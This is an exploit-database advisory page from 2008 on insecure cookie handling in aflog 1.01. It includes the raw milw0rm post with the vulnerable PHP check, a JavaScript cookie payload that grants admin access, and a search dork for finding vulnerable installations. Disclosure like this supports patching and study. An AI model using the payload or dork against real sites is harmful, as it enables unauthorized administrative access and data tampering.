aflog 1.01 Multiple Insecure Cookie Handling Vulnerabilies

vendor:

aflog

by:

JosS

7.5

CVSS

HIGH

Insecure Cookie Handling

264

CWE

Product Name: aflog

Affected Version From: 01.01

Affected Version To: 01.01

Patch Exists: YES

Related CWE: N/A

CPE: a:aflog:aflog:1.01

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

aflog 1.01 Multiple Insecure Cookie Handling Vulnerabilies

A vulnerability exists in aflog 1.01 which allows an attacker to gain access to the admin panel by setting the cookie 'aflog_auth_a' to 'A' and entering the URL '/edit_delete.php?id=1' with a POST request. This can be done by using a JavaScript code 'javascript:document.cookie = "aflog_auth_a=0; path=/"; document.cookie = "aflog_auth_a=A; path=/";' and entering the URL '/edit_delete.php?id=1'. The vulnerable files are edit_cat.php, edit_lock.php, edit_form.php and more. The dork used to find vulnerable sites is 'powered by aflog'.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

# aflog 1.01 Multiple Insecure Cookie Handling Vulnerabilies
# url: http://www.aflog.org/download.php
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: /edit_delete.php
vuln code:
15: if($_COOKIE['aflog_auth_a']=="O" || $_COOKIE['aflog_auth_a']=="A"){
xx: .. ---> :P
33: }
34: } else {
35:  echo "<center><b><img src='img/x.png'>&nbsp;ERROR!</b><br>You do not have access to this page. You must be Signed In as
36: an Admin.</center><br>";
37:  echo "<center><a href='index.php' class='c'>Home</a> | <a href='login.php?do=form' class='c'>Sign In</a></center>":
38: }

exploit:    javascript:document.cookie = "aflog_auth_a=0; path=/"; document.cookie = "aflog_auth_a=A; path=/";
and enters: /edit_delete.php?id=1 --> POST ID!!
---
vuln files:
edit_cat.php
edit_lock.php
edit_form.php
...more?

dork: "powered by aflog"

Hack0wn :D

# milw0rm.com [2008-10-23]